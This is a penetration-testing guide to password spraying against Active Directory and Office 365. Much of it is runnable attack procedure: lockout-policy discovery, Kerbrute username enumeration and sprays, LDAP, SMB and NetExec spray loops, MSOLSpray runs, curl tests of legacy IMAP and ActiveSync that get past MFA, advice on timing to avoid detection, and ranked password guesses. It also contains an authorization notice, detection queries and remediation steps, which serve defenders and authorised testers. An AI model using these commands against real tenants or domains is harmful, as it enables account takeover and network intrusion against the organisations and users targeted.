
Password Spraying Against Active Directory and Cloud Services
Password spraying against Active Directory, Office 365 and OWA, with lockout-aware timing and Kerberos user enumeration.
Introduction
Password spraying tries one password against every account in scope, then waits for the lockout observation window to reset before trying the next password. A normal brute force runs a password list against one account and locks it after a handful of attempts. A spray stays under the threshold. If the domain locks an account after five bad attempts in 30 minutes and you have 500 accounts, you can test one password per account every 31 minutes for as long as you like without locking anyone out. It works because password policy pushes users toward the same choices. Complexity rules, seasonal rotation and shared base words mean Password1, Summer2026 or <Company>2026 will match somewhere in a large enough user population.
There are three places to spray. On-premises Active Directory exposes LDAP, SMB and the Kerberos AS-REQ exchange, each with different lockout behaviour. Cloud services like Office 365 authenticate against login.microsoftonline.com, which is protected by Azure AD Smart Lockout. Smart Lockout keeps two bad-password counters per account, one for familiar locations and one for unfamiliar locations, and it does not count the same wrong password twice. Legacy authentication protocols (BasicAuth over IMAP, Exchange ActiveSync, SMTP AUTH) take a password only and skip MFA, so they are worth testing even in a tenant that is otherwise configured well.
Timing decides whether the spray is noticed. Too fast, and you trip velocity-based SIEM rules or Azure AD Identity Protection. During business hours the attempts sit among normal authentication traffic. Monday morning is a good slot: users are back from the weekend, password resets peak, and more accounts are on a predictable new password.
Authorization required
Everything in this note needs explicit written authorization from the asset owner. Password spraying against systems you do not own or have permission to test is illegal under the Computer Fraud and Abuse Act and equivalent laws in other countries. Stay within the scope of a signed statement of work and rules of engagement.
Impact
- A sprayed account is a valid login. It gets past perimeter controls and looks like a normal user to network-based detection.
- O365 tenants with IMAP, ActiveSync or SMTP AUTH enabled accept password-only authentication regardless of Conditional Access policy, so MFA is bypassed.
- One sprayed password often works against VPN, Citrix, OWA and O365 when the same directory backs all of them.
- A low-privilege account is enough for AS-REP roasting, Kerberoasting and ACL enumeration, which lead to domain escalation.
- O365 tokens issued after a successful login survive a password change if refresh token revocation is not enforced.
- One attempt per account per lockout window locks nobody out. If the thresholds are respected, defenders may see no 4740 events at all.
Technical details
The lockout threshold is the main constraint. Before spraying, get lockoutThreshold and lockoutObservationWindow from the Default Domain Policy. An LDAP query with any domain user account returns these values:
ldapsearch -x -H ldap://192.168.1.10 -D "jsmith@corp.local" -w 'Password1' \
-b "DC=corp,DC=local" -s base \
"(objectClass=domainDNS)" lockoutThreshold lockoutObservationWindow lockoutDuration
# lockoutThreshold: 5
# lockoutObservationWindow: 1800 (30 minutes in 100ns intervals: 18000000000)
# lockoutDuration: 1800The lockoutObservationWindow value is stored in 100-nanosecond intervals. Divide by 10,000,000 to get seconds. Leave a buffer: spray at threshold - 1 attempts per window at most, never at the threshold itself.
Fine-Grained Password Policies (PSOs) assigned to specific groups or users override the Default Domain Policy. An account in the ServiceAccounts group may have a threshold of 3 while standard users have 10. Enumerate PSOs before spraying so you don't lock out high-value accounts:
# With PowerView
Get-DomainFineGrainedPolicy
Get-DomainFineGrainedPolicyObject -Identity "ServiceAccountPSO"
# With ldapsearch
ldapsearch -x -H ldap://192.168.1.10 -D "jsmith@corp.local" -w 'Password1' \
-b "CN=Password Settings Container,CN=System,DC=corp,DC=local" \
"(objectClass=msDS-PasswordSettings)" msDS-LockoutThreshold msDS-LockoutObservationWindow msDS-PSOAppliesToKerberos AS-REQ pre-authentication enumeration
The Kerberos AS-REQ exchange reveals whether an account exists through its error codes, and in most configurations no lockout counter is incremented. With pre-authentication enabled (the default), the KDC returns KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (error 6) for users that don't exist and KRB5KDC_ERR_PREAUTH_REQUIRED (error 25) for valid users who haven't supplied credentials. Kerbrute uses this to enumerate valid accounts without touching the bad password counter.
One caveat: some configurations count AS-REQ failures toward lockout. Check on a test account before enumerating production.
Enumerate valid accounts with Kerbrute
Kerbrute sends AS-REQ packets without pre-authentication data and reads the KDC error code. On most default configurations no bad password count is incremented.
kerbrute userenum \
--dc 192.168.1.10 \
-d corp.local \
--threads 10 \
/opt/wordlists/statistically-likely-usernames.txt \
-o valid_users.txt
# Output:
# 2026/11/10 09:14:22 > [+] VALID USERNAME: jsmith@corp.local
# 2026/11/10 09:14:22 > [+] VALID USERNAME: administrator@corp.local
# 2026/11/10 09:14:23 > [-] INVALID USERNAME: jsmiht@corp.local
# 2026/11/10 09:14:24 > [+] VALID USERNAME: svc_backup@corp.localGenerate a username list from common formats once you know the naming convention (from email headers, LinkedIn, OWA autocomplete):
# namemash.py from https://github.com/urbanadventurer/username-anarchy
python3 namemash.py names.txt > generated_users.txt
# Or build manually from OSINT output
awk '{print tolower($1"."$2)}' names.txt >> users_dot.txt
awk '{print tolower(substr($1,1,1)$2)}' names.txt >> users_initial.txtSpray via Kerberos pre-authentication
A Kerbrute password spray sends an AS-REQ with a timestamp encrypted with the candidate password. Successful pre-auth returns a TGT. Failed pre-auth returns KRB5KDC_ERR_PREAUTH_FAILED (error 24), and that error does increment the bad password counter. Treat a Kerbrute spray like any other spray and respect the lockout threshold.
kerbrute passwordspray \
--dc 192.168.1.10 \
-d corp.local \
--threads 5 \
valid_users.txt \
'Summer2026!' \
-o spray_results.txt
# Output:
# 2026/11/10 09:30:01 > [+] VALID LOGIN: jdoe@corp.local:Summer2026!
# 2026/11/10 09:30:01 > [+] VALID LOGIN: mwilliams@corp.local:Summer2026!The advantage over LDAP: a Kerberos spray needs no LDAP port access. It uses port 88 TCP/UDP, which in some environments is monitored less closely than LDAP on 389/636.
LDAP bind spray with Spray
Spray performs LDAP simple binds against the domain controller. Each bind attempt is a complete authentication, so lockout counts apply normally.
Spray -Users valid_users.txt \
-Passwords passwords.txt \
-Domain corp.local \
-dc 192.168.1.10 \
-Delay 0 \
-Out spray_ldap_results.txt
# For single-password spray across all users
Spray -Users valid_users.txt \
-Password 'Summer2026!' \
-Domain corp.local \
-dc 192.168.1.10Set -Delay to match your observation window calculation. If lockout resets every 30 minutes and you have 300 users, you can afford 5-9 users per minute safely (1 attempt per user per window).
SMB spray with NetExec
Use NetExec over SMB when the LDAP and Kerberos ports are blocked but SMB (445) is reachable. The --no-bruteforce flag pairs each user with the single password instead of trying every user against every password. --continue-on-success keeps the tool running after the first hit.
netexec smb 192.168.1.10 \
-u valid_users.txt \
-p 'Summer2026!' \
--no-bruteforce \
--continue-on-success
# Output:
# SMB 192.168.1.10 445 DC01 [+] corp.local\jdoe:Summer2026! (Pwn3d!)
# SMB 192.168.1.10 445 DC01 [+] corp.local\mwilliams:Summer2026!
# Spray multiple passwords (one per run, spaced by observation window):
for pass in 'Summer2026!' 'Password1' 'Corp2026!'; do
netexec smb 192.168.1.10 -u valid_users.txt -p "$pass" --no-bruteforce --continue-on-success
sleep 1800 # 30 minutes between rounds
doneThe (Pwn3d!) annotation means the account has local admin on the target, so the SMB admin shares are accessible.
Attack tools
MSOLSpray targets login.microsoftonline.com directly. The endpoint returns verbose error codes that distinguish valid accounts, valid credentials, MFA-required accounts and disabled accounts, so the spray doubles as account reconnaissance.
Import-Module MSOLSpray.ps1
# Single password spray
Invoke-MSOLSpray -UserList .\users.txt -Password "Summer2026!" -OutFile spray_results.csv
# Output indicators:
# [SUCCESS] Valid credentials: jdoe@corp.com:Summer2026!
# [VALID_ACCOUNT_MFA] Account valid, MFA blocking: mwilliams@corp.com
# [AADSTS50126] Invalid credentials (account exists, password wrong)
# [AADSTS50053] Account locked out
# [AADSTS50057] Account disabledThe AADSTS50076 response code means the account is valid and the password is correct, but MFA is required. That confirms a valid credential even though you can't log in with it yet. Check whether the account has legacy auth protocols enabled by testing IMAP or ActiveSync:
# If IMAP is enabled for the mailbox, MFA is not enforced
curl -k --user "jdoe@corp.com:Summer2026!" \
imaps://outlook.office365.com:993
# Test ActiveSync endpoint (bypasses MFA in many tenants)
curl -k -u "jdoe@corp.com:Summer2026!" \
"https://outlook.office365.com/Microsoft-Server-ActiveSync" \
-d "" -v 2>&1 | grep "HTTP/"
# HTTP/1.1 200 OK → credentials valid, legacy auth enabled, MFA bypassed
# HTTP/1.1 401 → credentials invalid or basic auth disabledAzure AD Smart Lockout counts bad attempts per account, with separate counters for familiar and unfamiliar locations. The default threshold is 10 failed attempts and the first lockout lasts one minute, with longer lockouts after that. Microsoft does not publish how it decides that a location is familiar. A sprayer comes from an unfamiliar location, so rotating source IPs does not give each IP its own allowance against one account. What keeps a spray under the threshold is few passwords per account and long gaps between rounds.
Password candidate selection
Pick candidates for their chance of a hit. A long wordlist is no use at one attempt per window. Patterns in order of typical success rate:
| Pattern | Example | Notes |
|---|---|---|
Season + Year + ! | Summer2026! | Matches rotation cycles; most effective in Q2/Q3 |
Month + Year | November2026 | Users who rotate monthly |
Company + Year + ! | Acme2026! | OSINT the company name; often meets complexity rules |
Welcome + digit + ! | Welcome1! | New hire default in many orgs |
Password + digit + ! | Password1! | Still common |
Company + digits + ! | Acme1234! | Static passwords without annual change |
Use the current date. When spraying in November 2026, try Fall2026!, November2026, Autumn2026!, and Summer2026! (users who haven't rotated since summer).
Detection
Password spraying shows up in volume analysis of authentication failures. A spray produces a wide fanout: many distinct accounts failing once each from a single source. A targeted attack on one account produces a deep spike on that account instead.
Windows event log sources
| Event ID | Channel | Trigger | Relevance |
|---|---|---|---|
| 4625 | Security | Failed logon | Every failed LDAP/SMB auth attempt |
| 4771 | Security | Kerberos pre-auth failure | Kerberos spray attempts |
| 4776 | Security | NTLM credential validation | NTLM-based spray |
| 4740 | Security | Account locked out | Threshold exceeded (spray miscalculated) |
| 4648 | Security | Explicit credential logon | Credential testing with RunAs/PtH |
Detection logic (Splunk/KQL)
index=windows EventCode=4625 Logon_Type=3
| bucket _time span=10m
| stats dc(Account_Name) as unique_accounts count as total_failures by src_ip _time
| where unique_accounts > 10 AND total_failures > 15
| sort -unique_accountsSigninLogs
| where TimeGenerated > ago(1h)
| where ResultType != "0" // Failed logins
| summarize
FailedAccounts = dcount(UserPrincipalName),
TotalAttempts = count(),
Passwords = make_set(tostring(parse_json(AuthenticationDetails)[0].authenticationMethod))
by IPAddress, bin(TimeGenerated, 10m)
| where FailedAccounts > 10
| order by FailedAccounts descAADUserRiskEvents
| where RiskEventType == "unfamiliarFeatures" or RiskEventType == "passwordSpray"
| project TimeGenerated, UserPrincipalName, IPAddress, RiskLevel, RiskState
| order by TimeGenerated descBehavioral indicators
- Multiple accounts failing authentication from single source IP within a short window, with only one failure per account (the spray signature)
- 4771 errors with
Status: 0x18(wrong password) across many accounts from same source - Authentication attempts occurring at regular intervals (automated tooling cadence)
- Logon failures against accounts with no recent successful logon history (inactive accounts in spray list)
- O365:
AADSTS50126errors distributed across many UPNs from a single IP within minutes
Remediation
Active Directory
- Set the lockout threshold to 5 to 10 attempts with a 30-minute observation window. At typical user list sizes that leaves no spray window large enough to be useful.
- Deploy Fine-Grained Password Policies for service accounts and privileged users with lower thresholds (3 attempts)
- Enable
auditpol /set /subcategory:"Logon" /failure:enableon domain controllers so 4625/4771 events are generated - Deploy Microsoft's Entra ID Password Protection on-premises to block known weak passwords and custom banned lists
- Use Microsoft LAPS for local administrator accounts to prevent credential reuse across machines
Azure AD / O365
- Azure AD Smart Lockout is always on. The defaults are a threshold of 10 failed attempts and a 60-second lockout. Lowering the threshold or lengthening the lockout needs Microsoft Entra ID P1 or higher
- Disable legacy authentication protocols: block BasicAuth for Exchange Online via Conditional Access policy
Client apps: Exchange ActiveSync clients, Other clients→ Block - Require MFA via Conditional Access for all users. Legacy auth is the main way a sprayed password gets around it.
- Enable Microsoft Entra ID Identity Protection with sign-in risk policies (Medium → MFA challenge, High → Block)
- Monitor
AADNonInteractiveUserSignInLogsfor spray patterns against service principals
Network controls
- Restrict LDAP (389/636) and Kerberos (88) access to domain controllers to internal networks only. These ports should never be reachable from external IPs.
- Deploy a web application firewall or reverse proxy with rate limiting in front of OWA and ADFS endpoints
- Block authentication attempts from Tor exit nodes and known datacenter IP ranges at the perimeter
Organizational
- Set up a banned password list in Azure AD Password Protection or the on-premises equivalent. Block
Season+Year,Company+Year, andWelcome*patterns. - Move to passwordless authentication (FIDO2 security keys, Windows Hello for Business), privileged accounts first, so there is no password to spray
References
MITRE ATT&CK techniques
- T1110.003 - Brute Force: Password Spraying
- T1087.002 - Account Discovery: Domain Account
- T1078 - Valid Accounts
Tools documentation
- Kerbrute: Kerberos enumeration and spray tool
- Spray: LDAP-based AD password sprayer
- NetExec: multi-protocol network exploitation
- MSOLSpray: Office 365 password spray
- TrevorSpray: OWA and O365 sprayer with proxy support
- CredMaster: spray through FireProx APIs with IP rotation
- GoMapEnum: multi-protocol enumeration and spray
- Statistically Likely Usernames: username wordlist for enumeration
Next steps
AS-REP roasting
Attack accounts with pre-auth disabled once you have enumerated valid usernames.
Kerberoasting
Escalate from a low-privilege sprayed account by cracking service tickets.
Pass-the-Hash attacks
Lateral movement once you hold the first credentials.
NTLM relay attacks
Credential capture and relay, an alternative to spraying for initial access.
Pass-the-Ticket: Kerberos Ticket Hijacking
Pass-the-Ticket for lateral movement, exporting Kerberos tickets from memory and importing them into another session.
Silver Ticket Attack and Defense
Silver Ticket attack techniques for forging Kerberos service tickets, maintaining persistent access, and evading detection in Active Directory domains.